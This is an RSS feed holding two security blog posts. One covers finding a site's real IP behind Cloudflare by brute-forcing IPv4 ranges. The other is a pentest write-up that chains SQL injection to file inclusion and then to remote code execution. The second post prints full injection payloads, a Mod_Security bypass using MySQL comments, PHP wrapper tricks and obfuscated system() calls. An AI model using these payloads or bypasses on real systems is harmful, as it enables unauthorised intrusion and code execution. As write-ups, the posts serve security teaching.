<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Efren Diaz on Medium]]></title>
        <description><![CDATA[Stories by Efren Diaz on Medium]]></description>
        <link>https://medium.com/@elefr3n?source=rss-b257dac56da0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*oCRg-eX_rTlSFpqZ0Lc3kw.jpeg</url>
            <title>Stories by Efren Diaz on Medium</title>
            <link>https://medium.com/@elefr3n?source=rss-b257dac56da0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 10:57:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@elefr3n/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Find real website ip bruteforcing ipv4 ranges]]></title>
            <link>https://infosecwriteups.com/find-real-website-ip-bruteforcing-ipv4-ranges-c1e9ab2941e7?source=rss-b257dac56da0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1e9ab2941e7</guid>
            <category><![CDATA[cloudflare]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[waf]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Efren Diaz]]></dc:creator>
            <pubDate>Tue, 17 Aug 2021 12:11:03 GMT</pubDate>
            <atom:updated>2021-08-18T08:00:39.648Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mKXrAGCFpHDcipZXnBJnSQ.png" /></figure><p>Today many web applications are protected behind services such as Cloudfare, Akamai, etc… hiding their real ip address and this can be an impediment when we are performing a pentest or trying to exploit a vulnerability.</p><p><strong>In this post I want to share a technique that will help us in many cases to find the real ip address.</strong></p><p>This process has two parts:</p><ol><li><em>Determine ipv4 ranges where server could be hosted.</em></li><li><em>Bruteforce the ranges with http requests.</em></li></ol><h4>Part 1: Determine ipv4 ranges related to the organization</h4><p>Let’s start assuming we want to find the next website real ip:</p><blockquote>https://examplecorp.com</blockquote><p>Any web application is in a server published to the internet with an IP address, which belongs to an ip range, and this range is owned to an organization. The first thing we will do is go to an <strong>online ipv4 database</strong> such as <a href="http://ipv4info.com/">Ipv4info</a> or <a href="https://ip-netblocks.whoisxmlapi.com/lookup">WhoisXMLAPI</a> and look for “Example Corp”, in this way we will find one or more ranges of IP addresses belonging to the organization where to attack.</p><p>Another way is to find ip addresses in other services as subdomains, mail server, etc… Imagine you find a subdomain like:</p><blockquote>webmail.examplecorp.com</blockquote><p>This subdomain resolves an ip address and this ip can were hosted in a service like AWS, Azure, etc… ok, we can suppose that part of the target infrastructure can were hosted in this provider, we can find in <a href="http://ipv4info.com/">Ipv4info</a> or <a href="https://ip-netblocks.whoisxmlapi.com/lookup">WhoisXMLAPI</a> the provider ip range of the subdomain IP.</p><p>As you see, this part is only think correctly how to find possible ipv4 ranges where the website server may be located.</p><h4>Part 2: Bruteforcing ipv4 ranges with http requests</h4><p>At this point, having some ipv4 ranges were we suspect that can be hosted the website server, we basically need to send http requests with the website hostname and check if any of the range ipv4 addresses responds with the website.</p><p>Considering that a 0.0.0.0/24 range has 256 ip addresses, or a 0.0.0.0/16 range has 65,536 you can die trying one by one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/0*DNg4-mb8dM0HXFj7.jpg" /></figure><p>To be helpful I’ve developed a python tool that automates this part:</p><p><a href="https://github.com/elefr3n/real_ip_discover"><strong>https://github.com/elefr3n/real_ip_discover</strong></a></p><p>We need to set next three positional arguments to the script:<br>-hostname (Ex: examplecorp.com)<br>-target_list List of ranges or ips (Ex: 0.0.0.0/24,1.1.1.1/16,2.2.2.2)<br>-match (Ex: &lt;title&gt;Welcome to examplecorp.com&lt;/title&gt;)</p><p>Also we can set optional arguments as timeout, threads, uri, etc…</p><p>The tool works sending http and https requests to each one ip addresses in the ranges and ip that we have given, with the website hostname in the headers, checking if any of the ip addresses responds with the match that we’ve set.</p><p>Now I want to show a example usage of the tool, for legal reasons obviously with a website that is not protected with any service to hide his ip address.</p><p>Supposing that the website cisco.com is behind Cloudflare, and suspecting that it could be hosted in the 72.163.4.0/24 range, we run the tool as we can see in the next image:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*IJLeiCDLJbzLjGkRNSXdHw.gif" /></figure><p>The tool detects that the ip 72.163.4.183 responds with the match that we’ve set “&lt;title&gt;Cisco” when it receives a http request with the <a href="http://www.cisco.com/">www.cisco.com</a> hostname, <strong>then at this point we have the real website ip.</strong></p><p>Finishing this post I want to comment that is really easy protect our web servers, its as easy as set some rules in your firewall, iptables or any other security configuration available, where you should allow only receive connections from the service ip ranges that we are using. For example if you are using Cloudflare, they provides a link where you can get all their ipv4 ranges:</p><ul><li><a href="https://www.cloudflare.com/ips-v4">https://www.cloudflare.com/ips-v4</a></li></ul><p>That’s all, I really hope this post can be useful for all you ;)</p><p>My twitter: <a href="https://twitter.com/elefr3n">https://twitter.com/elefr3n</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1e9ab2941e7" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/find-real-website-ip-bruteforcing-ipv4-ranges-c1e9ab2941e7">Find real website ip bruteforcing ipv4 ranges</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL injection to RCE]]></title>
            <link>https://infosecwriteups.com/sql-injection-to-lfi-to-rce-536bed29a862?source=rss-b257dac56da0------2</link>
            <guid isPermaLink="false">https://medium.com/p/536bed29a862</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Efren Diaz]]></dc:creator>
            <pubDate>Thu, 03 Oct 2019 11:39:10 GMT</pubDate>
            <atom:updated>2019-10-08T16:27:16.370Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*l350Z9HoeUuobzTA_Il2Hw.jpeg" /></figure><p>In the next lines I will expose a case that I <strong>experimented some days ago working in a penetration testing</strong> for one of our customers at<strong> </strong><a href="https://opendatasecurity.io/"><strong>Open Data Security</strong></a>, in my opinion was interest how I needed concatenate a few factors to get the RCE.</p><p>For obvious reasons, some customer data will be anonymized.</p><p>Doing a directory fuzzing, I found a folder with a php file inside:</p><pre>https://customer.com/php/load.php</pre><p>When I tested the url I got a php Warning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*EEz7chxshZmBlooMKhGZbw.png" /></figure><p>As we can see the app is trying to include an empty filename with a .php extension. Next thing that came to my mind was, maybe I could control the filename in a GET parameter, so I decided bruteforce some parameters. Before recurring to any scripts I thought I should test for common old school website modules parameters like “<em>sec, section, mod, module, file, page,etc.</em>” and to my surprise the “<em>page”</em> parameter threw a different error, a MySQL warning message:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/579/1*zKQJ7m1qPFTPVNM0wj1leA.png" /></figure><p>Well, as we can see the include function continues in the same point with an empty filename, but we can see we got a MySQL error, then from here I tried guess that the aplication gets the required filename from a database and from here I tried the usually sql inyection:</p><pre>https://customer.com/php/load.php?page=<strong>’ or ‘’=’</strong></pre><p>And I got the include warning message, but this time the filename was not empty, it was <strong>“<em>analytics.php</em>”</strong>, the first path string had a point, and the website css style was not loaded (now the links are not pink)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/1*QjQhA6ylCJpMqLnAf9p0YQ.png" /></figure><p>Well, at those time I was secure that the include() gets parts of the path from database and we need to try an <strong>union type SQL injection</strong> so that we control the path and try a Local File Inclusion.</p><p>In the first injection that I tried I got a 406 response, the website has the <strong>Mod_Security apache module enabled</strong> which unfortunately detects my injection BUT as some know, an outdated<strong> </strong>Mod_Security version<strong> can bypassed</strong> with MySQL comments in the injection string. I tried and it worked, with a 9 columns injected query:</p><pre>https://customer.com/php/load.php?page=’ <strong>/*!50000union*/</strong> select 1,2,3,4,5,6,7,8,9-- -</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/1*l4JizDz-CWvCaIoQiozi3Q.png" /></figure><p>I didn’t find anywhere else throughout the web application, an upload form would allow to upload an image or any file extension with php code that wishfully, I could include to exploit the present Local File Inclusion, but as you can see in the previous image, I observed that I could manipulate the beginning of the path and that is great for my perspective because I know that I can try to use some <strong>php wrappers</strong>.</p><p>First I used <strong>“php://filter/convert.base64-encode/resource=”</strong> wrapper to read the index.php file:</p><pre>https://customer.com/php/load.php?page=’ /*!50000union*/ select 1,2,3,4,5,’<strong>../index</strong>’,7,8,’<strong>php://filter/convert.base64-encode/resource=.</strong>’ -- -</pre><p>And voila, we got a base64 encoded string of the index.php source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*ARkvwCuVcZpLz3kKe_f7cA.png" /></figure><p>Ah this point all I want is to get an RCE so I first tried the input:// wrapper, but that didn’t work because the application concatenates the input with the rest of the path, and because of the mighty Mod_Security module the use nullbyte %00 was not possible. Then I decided to <strong>try with the data:// wrapper </strong>to send some php code that hopefully will execute:</p><pre>https://customer.com/php/load.php?page=&#39; /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<strong>&lt;?php echo system(“uname -a”);?&gt;</strong>’-- -</pre><p>And once again I got a Mod_Security 406 response blocking me. Thinking some I supposed that the problem was in the “system(“ string, and I went back to cook some php lines:</p><pre>&lt;?php<br>$a=”sy”;<br>$b=”stem”;<br>$c=$a.$b;<br>$c(“uname -a”);<br>?&gt;</pre><p>And finally the payload was:</p><pre>https://customer.com/php/load.php?page=&#39; /*!50000union*/ select 1,2,3,4,5,6,7,8,’data://text/plain,<strong>&lt;?php $a=”sy”;$b=”stem”;$c=$a.$b; $c(“uname -a”);?&gt;</strong>’ -- -</pre><p>And the response with our command result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*CdiFlkRAOVxoHz2qzjavUA.png" /></figure><p><strong>Then finally got RCE !!! ^_^</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/0*X7ZwATIz7U3mUeyh.jpg" /></figure><p><em>Follow </em><a href="https://medium.com/bugbountywriteup"><em>Infosec Write-ups </em></a><em>for more such awesome write-ups.</em></p><p><a href="https://medium.com/bugbountywriteup">InfoSec Write-ups</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=536bed29a862" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/sql-injection-to-lfi-to-rce-536bed29a862">SQL injection to RCE</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>